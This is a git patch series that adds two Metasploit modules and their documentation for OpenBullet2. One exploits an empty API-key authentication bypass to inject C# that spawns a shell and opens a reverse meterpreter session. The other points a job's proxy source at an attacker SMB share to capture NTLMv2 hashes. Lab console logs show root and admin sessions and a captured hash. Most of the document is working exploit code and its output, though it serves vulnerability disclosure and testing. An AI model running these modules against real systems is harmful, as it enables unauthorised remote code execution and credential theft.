From 82b9809388cad7a000e509bdcb8107f7e56fdc7b Mon Sep 17 00:00:00 2001 From: vognik Date: Thu, 4 Jun 2026 20:09:24 -0700 Subject: [PATCH 01/10] Add OpenBullet2 modules (CVE-2026-25856 and CVE-2026-39908) --- ...2_unauth_hash_disclosure_cve_2026_39908.rb | 280 +++++++++++++++++ .../openbullet2_unauth_rce_cve_2026_25856.rb | 287 ++++++++++++++++++ 2 files changed, 567 insertions(+) create mode 100644 modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb create mode 100644 modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb diff --git a/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb b/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb new file mode 100644 index 0000000000000..c05f3b5a47780 --- /dev/null +++ b/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb @@ -0,0 +1,280 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Remote::SMB::Server::Share + include Msf::Exploit::Remote::SMB::Server::HashCapture + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'OpenBullet2 NTLMv2 Hash Disclosure via UNC Path Proxy Source', + 'Description' => %q{ + This Metasploit module exploits a Credential Disclosure vulnerability in OpenBullet2 on Windows. + + An attacker can force the application to disclose the NTLMv2 hash of the process user by configuring a job proxy source with a malicious UNC path. + When the job starts, the application attempts to load proxies from the specified path via SMB, allowing the hash to be captured for offline cracking or relaying. + + The affected versions include releases from 0.2.5. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Maksim Rogov', # Vulnerability Discovery & Metasploit Module + ], + 'References' => [ + ['CVE', 'CVE-2026-25555'], + ['CVE', 'CVE-2026-39908'], + ['URL', 'https://example.com'] + ], + 'DisclosureDate' => '2026-06-04', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + + register_options( + [ + OptString.new('TARGETURI', [true, 'Path to the OpenBullet2 App', '/']), + ] + ) + end + + def check + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'info', 'update'), + 'method' => 'GET', + 'headers' => { 'X-Api-Key' => '' } + ) + + Exploit::CheckCode::Safe('The server returned 401 status code, the version is not vulnerable') + + json_body = res.get_json_document + unless json_body + fail_with(Failure::UnexpectedReply, 'Unable to parse the response') + end + + unless json_body.key?('currentVersion') + fail_with(Failure::UnexpectedReply, "#{peer} - currentVersion key not found in response") + end + + version = Rex::Version.new(json_body['currentVersion']) + if version >= Rex::Version.new('0.2.5') + server_info = get_server_info + target_os = server_info['operatingSystem'] + print_status("OpenBullet2 Instance OS: #{target_os}") + + Exploit::CheckCode::Detected("Detected version #{version}, which is vulnerable. But you can't use module, because it only for windows.") if target_os !~ /windows/i + return Exploit::CheckCode::Appears("Detected version #{version}, which is vulnerable") + end + + Exploit::CheckCode::Safe("Detected version #{version}, which is not vulnerable") + end + + def create_config + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'config'), + 'method' => 'POST', + 'headers' => { 'X-Api-Key' => '' } + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") + end + + json_body = res.get_json_document + unless json_body + fail_with(Failure::UnexpectedReply, 'Unable to parse the response') + end + + unless json_body.key?('id') + fail_with(Failure::UnexpectedReply, "#{peer} - id key not found in response") + end + + json_body['id'] + end + + def get_configs + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'config', 'all'), + 'method' => 'GET', + 'headers' => { 'X-Api-Key' => '' } + ) + + json_body = res.get_json_document + unless json_body + fail_with(Failure::UnexpectedReply, 'Unable to parse the response') + end + + json_body + end + + def create_job(config_id, proxy_path) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job', 'multi-run'), + 'method' => 'POST', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json', + 'data' => { + 'startCondition' => { + '_polyTypeName' => 'relativeTimeStartCondition' + }, + 'configId' => config_id, + 'proxyMode' => 'on', + 'dataPool' => { + '_polyTypeName' => 'rangeDataPool', + 'wordlistType' => 'Default', + 'start' => 1, + 'amount' => 1, + 'step' => 1 + }, + 'proxySources' => [ + { + '_polyTypeName' => 'fileProxySource', + 'fileName' => proxy_path, + 'defaultType' => 'http' + } + ] + }.to_json + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") + end + + json_body = res.get_json_document + unless json_body + fail_with(Failure::UnexpectedReply, 'Unable to parse the response') + end + + unless json_body.key?('id') + fail_with(Failure::UnexpectedReply, "#{peer} - id key not found in response") + end + + json_body['id'] + end + + def start_job(job_id) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job', 'start'), + 'method' => 'POST', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json', + 'data' => { 'jobId' => job_id, 'wait' => false }.to_json + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") + end + end + + def abort_job(job_id) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job', 'abort'), + 'method' => 'POST', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json', + 'data' => { 'jobId' => job_id, 'wait' => false }.to_json + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") + end + end + + def delete_job(job_id) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job'), + 'method' => 'DELETE', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json', + 'vars_get' => { id: job_id } + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") + end + end + + def delete_config(config_id) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'config'), + 'method' => 'DELETE', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json', + 'vars_get' => { id: config_id } + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") + end + end + + def get_server_info + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'info', 'server'), + 'method' => 'GET', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json' + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") + end + + json_body = res.get_json_document + unless json_body + fail_with(Failure::UnexpectedReply, 'Unable to parse the response') + end + + unless json_body.key?('operatingSystem') + fail_with(Failure::UnexpectedReply, "#{peer} - operatingSystem key not found in response") + end + + json_body + end + + def cleanup + super + delete_config(@config_id) if @config_source == :created + abort_job(@job_id) + delete_job(@job_id) if !@job_id.nil? + end + + def run + configs = get_configs + @config_id, @config_source = + if configs.empty? + [create_config, :created] + else + [configs.sample['id'], :default] + end + + unc_share = Faker::Lorem.word + unc_fname = Faker::Lorem.word + unc_path = "\\\\#{srvhost}\\\\#{unc_share}\\\\#{unc_fname}.txt" + @job_id = create_job(@config_id, unc_path) + + start_smb_capture_server + start_job(@job_id) + + Rex::ThreadSafe.sleep(5) + end + + def start_smb_capture_server + start_service + print_status('The SMB service has been started.') + print_status("Listening for hashes on #{srvhost}:#{srvport}") + end + +end diff --git a/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb b/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb new file mode 100644 index 0000000000000..5f69af3df2bff --- /dev/null +++ b/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb @@ -0,0 +1,287 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Post::Common + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'OpenBullet2 Unauthenticated RCE via Config Configuration Interface', + 'Description' => %q{ + This Metasploit module exploits an Unauthenticated Remote Code Execution (RCE) vulnerability in OpenBullet2. + + Attackers can leverage the plain C# execution mode, which lacks reference filtering or API restrictions, to access the file system, spawn processes, and invoke arbitrary .NET APIs as the process user. + + The affected versions include releases from 0.2.5. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Maksim Rogov', # Vulnerability Discovery & Metasploit Module + ], + 'References' => [ + ['CVE', 'CVE-2026-25555'], + ['CVE', 'CVE-2026-25856'], + ['URL', 'https://example.com'] + ], + 'Targets' => [ + [ + 'OpenBullet2 >= 0.2.5 / Automatic', + { + 'Type' => :auto, + 'DefaultOptions' => { 'PAYLOAD' => '' } + } + ], + [ + 'OpenBullet2 >= 0.2.5 / Unix Command', + { + 'Platform' => ['unix', 'linux'], + 'Type' => :unix, + 'Arch' => [ARCH_CMD], + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' } + # Tested with cmd/unix/reverse_bash + # Tested with cmd/linux/http/x64/meterpreter/reverse_tcp + } + ], + [ + 'OpenBullet2 >= 0.2.5 / Windows Command', + { + 'Platform' => ['windows'], + 'Type' => :windows, + 'Arch' => [ARCH_CMD], + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp' } + # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp + } + ], + ], + 'Payload' => { + 'BadChars' => '\\' + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => '2022-11-02', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + + register_options( + [ + OptString.new('TARGETURI', [true, 'Path to the OpenBullet2 App', '/']), + ] + ) + end + + def check + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'info', 'update'), + 'method' => 'GET', + 'headers' => { 'X-Api-Key' => '' } + ) + + CheckCode::Safe('The server returned 401 status code, the version is not vulnerable') + + json_body = res.get_json_document + unless json_body + fail_with(Failure::UnexpectedReply, 'Unable to parse the response') + end + + unless json_body.key?('currentVersion') + fail_with(Failure::UnexpectedReply, "#{peer} - currentVersion key not found in response") + end + + version = Rex::Version.new(json_body['currentVersion']) + if version >= Rex::Version.new('0.2.5') + @target_os = get_server_info + print_status("OS: #{@target_os}") + return CheckCode::Appears("Detected version #{version}, which is vulnerable") + end + + CheckCode::Safe("Detected version #{version}, which is not vulnerable") + end + + def create_config + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'config'), + 'method' => 'POST', + 'headers' => { 'X-Api-Key' => '' } + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") + end + + json_body = res.get_json_document + unless json_body + fail_with(Failure::UnexpectedReply, 'Unable to parse the response') + end + + unless json_body.key?('id') + fail_with(Failure::UnexpectedReply, "#{peer} - id key not found in response") + end + + json_body['id'] + end + + def pick_target + return target if target['Type'] != :auto + + @target_os =~ /windows/i ? targets[2] : targets[1] + end + + def update_config(config_id) + target = pick_target + + flags = '{ UseShellExecute = false, CreateNoWindow = true, RedirectStandardOutput = true, RedirectStandardError = true }' + case target['Type'] + when :unix + cmd = "System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo(\"/bin/bash\", \"-c \\\"#{payload.encoded}\\\"\")#{flags});" + when :windows + cmd = "System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo(\"cmd.exe\", @\"/c \"\"#{payload.encoded}\"\"\")#{flags});" + end + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'config'), + 'method' => 'PUT', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json', + 'data' => { + 'id' => config_id, + 'metadata' => {}, + 'settings' => {}, + 'startupLoliCodeScript' => cmd + }.to_json + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") + end + end + + def create_job(config_id) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job', 'multi-run'), + 'method' => 'POST', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json', + 'data' => { + 'startCondition' => { + '_polyTypeName' => 'relativeTimeStartCondition' + }, + 'configId' => config_id, + 'proxyMode' => 'off', + 'dataPool' => { + '_polyTypeName' => 'rangeDataPool', + 'wordlistType' => 'Default', + 'start' => 1, + 'amount' => 1, + 'step' => 1 + } + }.to_json + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") + end + + json_body = res.get_json_document + unless json_body + fail_with(Failure::UnexpectedReply, 'Unable to parse the response') + end + + unless json_body.key?('id') + fail_with(Failure::UnexpectedReply, "#{peer} - id key not found in response") + end + + json_body['id'] + end + + def start_job(job_id) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job', 'start'), + 'method' => 'POST', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json', + 'data' => { 'jobId' => job_id, 'wait' => false }.to_json + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") + end + end + + def delete_job(job_id) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job'), + 'method' => 'DELETE', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json', + 'vars_get' => { id: job_id } + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") + end + end + + def delete_config(config_id) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'config'), + 'method' => 'DELETE', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json', + 'vars_get' => { id: config_id } + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") + end + end + + def get_server_info + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'info', 'server'), + 'method' => 'GET', + 'headers' => { 'X-Api-Key' => '' }, + 'ctype' => 'application/json' + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") + end + + json_body = res.get_json_document + unless json_body + fail_with(Failure::UnexpectedReply, 'Unable to parse the response') + end + + unless json_body.key?('operatingSystem') + fail_with(Failure::UnexpectedReply, "#{peer} - operatingSystem key not found in response") + end + + json_body['operatingSystem'] + end + + def cleanup + super + delete_job(@job_id) if !@job_id.nil? + delete_config(@config_id) if !@config_id.nil? + end + + def exploit + @config_id = create_config + update_config(@config_id) + @job_id = create_job(@config_id) + start_job(@job_id) + end + +end From 208329e158671cdb65c1a8a18d1d86abf1284f06 Mon Sep 17 00:00:00 2001 From: vognik Date: Sat, 6 Jun 2026 08:07:06 -0700 Subject: [PATCH 02/10] add docs --- ...2_unauth_hash_disclosure_cve_2026_39908.md | 53 ++++++++++ .../openbullet2_unauth_rce_cve_2026_25856.md | 100 ++++++++++++++++++ ...2_unauth_hash_disclosure_cve_2026_39908.rb | 2 +- .../openbullet2_unauth_rce_cve_2026_25856.rb | 19 ++-- 4 files changed, 166 insertions(+), 8 deletions(-) create mode 100644 documentation/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.md create mode 100644 documentation/modules/exploit/multi/http/openbullet2_unauth_rce_cve_2026_25856.md diff --git a/documentation/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.md b/documentation/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.md new file mode 100644 index 0000000000000..3e476a223e8ba --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.md @@ -0,0 +1,53 @@ +## Vulnerable Application + +This Metasploit module exploits a Credential Disclosure vulnerability in OpenBullet2 on Windows. + +An attacker can force the application to disclose the NTLMv2 hash of the process user by configuring a job proxy source with a malicious UNC path. When the job starts, the application attempts to load proxies from the specified path via SMB, allowing the hash to be captured for offline cracking or relaying. + +The affected versions include releases from 0.2.5. + +## Setup + +### Windows + +1. Download [OpenBullet2.Web-win-x64.zip](https://github.com/openbullet/OpenBullet2/releases/download/0.3.3.3093/OpenBullet2.Web-win-x64.zip) and unpack +2. Run +``` +.\OpenBullet2.Web.exe --urls "http://0.0.0.0:5000" +``` + +### Set Authentication + +Authentication is turned off by default. +You need to set it to check bypass. + +1. Go to http://127.0.0.1:8069/settings +2. Click "Change admin password" and set any password +3. Turn "Require admin login" on +4. Save + +## Scenario + +``` +msf > use scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908 +msf auxiliary(scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908) > set SRVHOST eth0 +SRVHOST => 192.168.19.153 +msf auxiliary(scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908) > set RHOST 192.168.19.154 +RHOST => 192.168.19.154 +msf auxiliary(scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908) > set RPORT 5000 +RPORT => 5000 +msf auxiliary(scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908) > run +[*] Running module against 192.168.19.154 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] OpenBullet2 Instance OS: Microsoft Windows NT 10.0.19044.0 +[+] The target appears to be vulnerable. Detected version 0.3.3.3093, which is vulnerable +[*] Server is running. Listening on 192.168.19.153:445 +[*] The SMB service has been started. +[*] Listening for hashes on 192.168.19.153:445 +[SMB] NTLMv2-SSP Client : 192.168.19.154 +[SMB] NTLMv2-SSP Username : DESKTOP-1E5TEED\admin +[SMB] NTLMv2-SSP Hash : admin::DESKTOP-1E5TEED:[HASH] + +[*] Server stopped. +[*] Auxiliary module execution completed +``` \ No newline at end of file diff --git a/documentation/modules/exploit/multi/http/openbullet2_unauth_rce_cve_2026_25856.md b/documentation/modules/exploit/multi/http/openbullet2_unauth_rce_cve_2026_25856.md new file mode 100644 index 0000000000000..75c3a16cdd860 --- /dev/null +++ b/documentation/modules/exploit/multi/http/openbullet2_unauth_rce_cve_2026_25856.md @@ -0,0 +1,100 @@ +## Vulnerable Application + +This Metasploit module exploits an Unauthenticated Remote Code Execution (RCE) vulnerability in OpenBullet2. + +Attackers can leverage the plain C# execution mode, which lacks reference filtering or API restrictions, to access the file system, spawn processes, and invoke arbitrary .NET APIs as the process user. + +The affected versions include releases from 0.2.5. + +## Setup + +### Linux + +1. Set up +``` +docker run --name openbullet2 --rm -p 5000:5000 -it openbullet/openbullet2:0.3.2 +``` + +### Windows + +1. Download [OpenBullet2.Web-win-x64.zip](https://github.com/openbullet/OpenBullet2/releases/download/0.3.3.3093/OpenBullet2.Web-win-x64.zip) and unpack +2. Run +``` +.\OpenBullet2.Web.exe --urls "http://0.0.0.0:5000" +``` + +### Set Authentication + +Authentication is turned off by default. +You need to set it to check bypass. + +1. Go to http://127.0.0.1:8069/settings +2. Click "Change admin password" and set any password +3. Turn "Require admin login" on +4. Save + +## Scenario + +### Linux + +``` +msf > use exploit/multi/http/openbullet2_unauth_rce_cve_2026_25856 +[*] Using configured payload +msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set target 1 +target => 1 +msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set RPORT 8069 +RPORT => 8069 +msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set LHOST docker0 +LHOST => 172.17.0.1 +msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > run +[*] Started reverse TCP handler on 172.17.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] OS: Debian GNU/Linux 12 (bookworm) +[+] The target appears to be vulnerable. Detected version 0.3.2, which is vulnerable +[*] Sending stage (3090404 bytes) to 172.17.0.2 +[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:40666) at 2026-06-06 06:38:56 -0400 + +meterpreter > sysinfo +Computer : 67393a3c15a2 +OS : Debian 12.7 (Linux 6.18.12+kali-amd64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: root +``` + +### Windows + +``` +msf > use exploit/multi/http/openbullet2_unauth_rce_cve_2026_25856 +[*] Using configured payload +msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set RHOSTS 192.168.19.154 +RHOSTS => 192.168.19.154 +msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set RPORT 5000 +RPORT => 5000 +msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set target 2 +target => 2 +msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set LHOST eth0 +LHOST => eth0 +msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > run +[*] Started reverse TCP handler on 192.168.19.153:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] OS: Microsoft Windows NT 10.0.19044.0 +[+] The target appears to be vulnerable. Detected version 0.3.3.3093, which is vulnerable +[*] Sending stage (232006 bytes) to 192.168.19.154 +[*] Meterpreter session 1 opened (192.168.19.153:4444 -> 192.168.19.154:50388) at 2026-06-06 03:42:13 -0400 + +meterpreter > sysinfo +Computer : DESKTOP-1E5TEED +OS : Windows 10 21H2 (10.0 Build 19044). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > getuid +Server username: DESKTOP-1E5TEED\admin +``` \ No newline at end of file diff --git a/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb b/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb index c05f3b5a47780..268dfc407081a 100644 --- a/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb +++ b/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb @@ -32,7 +32,7 @@ def initialize(info = {}) 'References' => [ ['CVE', 'CVE-2026-25555'], ['CVE', 'CVE-2026-39908'], - ['URL', 'https://example.com'] + ['URL', 'https://hackernoon.com/one-empty-header-to-admin-how-an-auth-bypass-breaks-openbullet2'] ], 'DisclosureDate' => '2026-06-04', 'Notes' => { diff --git a/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb b/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb index 5f69af3df2bff..85d1cbe8e6fce 100644 --- a/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb +++ b/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb @@ -29,7 +29,7 @@ def initialize(info = {}) 'References' => [ ['CVE', 'CVE-2026-25555'], ['CVE', 'CVE-2026-25856'], - ['URL', 'https://example.com'] + ['URL', 'https://hackernoon.com/one-empty-header-to-admin-how-an-auth-bypass-breaks-openbullet2'] ], 'Targets' => [ [ @@ -88,22 +88,19 @@ def check 'headers' => { 'X-Api-Key' => '' } ) - CheckCode::Safe('The server returned 401 status code, the version is not vulnerable') - json_body = res.get_json_document unless json_body - fail_with(Failure::UnexpectedReply, 'Unable to parse the response') + return CheckCode::Unknown("#{peer} - Unable to parse JSON response.") end unless json_body.key?('currentVersion') - fail_with(Failure::UnexpectedReply, "#{peer} - currentVersion key not found in response") + return CheckCode::Unknown("#{peer} - 'currentVersion' key not found in response.") end version = Rex::Version.new(json_body['currentVersion']) if version >= Rex::Version.new('0.2.5') @target_os = get_server_info - print_status("OS: #{@target_os}") - return CheckCode::Appears("Detected version #{version}, which is vulnerable") + return CheckCode::Appears("Detected version #{version} (#{@target_os}), which is vulnerable") end CheckCode::Safe("Detected version #{version}, which is not vulnerable") @@ -135,6 +132,14 @@ def create_config def pick_target return target if target['Type'] != :auto + if @target_os.nil? + begin + @target_os = get_server_info + rescue RuntimeException => e + fail_with(Failure::BadConfig, 'Could not determine target OS for automatic targeting.') + end + end + @target_os =~ /windows/i ? targets[2] : targets[1] end From 6127aa69cbc4239117ecf5e6dafff0a4a5983c0b Mon Sep 17 00:00:00 2001 From: vognik Date: Sat, 18 Jul 2026 03:58:15 -0700 Subject: [PATCH 03/10] remove unused module --- .../openbullet2_unauth_rce_cve_2026_25856.rb | 24 ------------------- 1 file changed, 24 deletions(-) diff --git a/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb b/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb index 85d1cbe8e6fce..f731faaa9e88c 100644 --- a/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb +++ b/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb @@ -8,7 +8,6 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck - include Msf::Post::Common def initialize(info = {}) super( @@ -32,13 +31,6 @@ def initialize(info = {}) ['URL', 'https://hackernoon.com/one-empty-header-to-admin-how-an-auth-bypass-breaks-openbullet2'] ], 'Targets' => [ - [ - 'OpenBullet2 >= 0.2.5 / Automatic', - { - 'Type' => :auto, - 'DefaultOptions' => { 'PAYLOAD' => '' } - } - ], [ 'OpenBullet2 >= 0.2.5 / Unix Command', { @@ -129,23 +121,7 @@ def create_config json_body['id'] end - def pick_target - return target if target['Type'] != :auto - - if @target_os.nil? - begin - @target_os = get_server_info - rescue RuntimeException => e - fail_with(Failure::BadConfig, 'Could not determine target OS for automatic targeting.') - end - end - - @target_os =~ /windows/i ? targets[2] : targets[1] - end - def update_config(config_id) - target = pick_target - flags = '{ UseShellExecute = false, CreateNoWindow = true, RedirectStandardOutput = true, RedirectStandardError = true }' case target['Type'] when :unix From 89bc28380c1a31eaa6ca48f730a581edfc7ea2e5 Mon Sep 17 00:00:00 2001 From: vognik Date: Sun, 19 Jul 2026 06:06:48 -0700 Subject: [PATCH 04/10] normalize CVE reference format --- .../http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb | 4 ++-- .../multi/http/openbullet2_unauth_rce_cve_2026_25856.rb | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb b/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb index 268dfc407081a..3d7c242ff39ca 100644 --- a/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb +++ b/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb @@ -30,8 +30,8 @@ def initialize(info = {}) 'Maksim Rogov', # Vulnerability Discovery & Metasploit Module ], 'References' => [ - ['CVE', 'CVE-2026-25555'], - ['CVE', 'CVE-2026-39908'], + ['CVE', '2026-25555'], + ['CVE', '2026-39908'], ['URL', 'https://hackernoon.com/one-empty-header-to-admin-how-an-auth-bypass-breaks-openbullet2'] ], 'DisclosureDate' => '2026-06-04', diff --git a/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb b/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb index f731faaa9e88c..eeac5739bba74 100644 --- a/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb +++ b/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb @@ -26,8 +26,8 @@ def initialize(info = {}) 'Maksim Rogov', # Vulnerability Discovery & Metasploit Module ], 'References' => [ - ['CVE', 'CVE-2026-25555'], - ['CVE', 'CVE-2026-25856'], + ['CVE', '2026-25555'], + ['CVE', '2026-25856'], ['URL', 'https://hackernoon.com/one-empty-header-to-admin-how-an-auth-bypass-breaks-openbullet2'] ], 'Targets' => [ From 4f4513decfa2d61f96a3630c85214925f45fb4af Mon Sep 17 00:00:00 2001 From: vognik Date: Sun, 19 Jul 2026 06:10:38 -0700 Subject: [PATCH 05/10] remove rank from auxiliary module --- .../http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb b/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb index 3d7c242ff39ca..dae213d41f9a1 100644 --- a/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb +++ b/modules/auxiliary/scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908.rb @@ -4,8 +4,6 @@ ## class MetasploitModule < Msf::Auxiliary - Rank = ExcellentRanking - include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::SMB::Server::Share From b54678e5563f5923f8585264c92536f18bbf195c Mon Sep 17 00:00:00 2001 From: 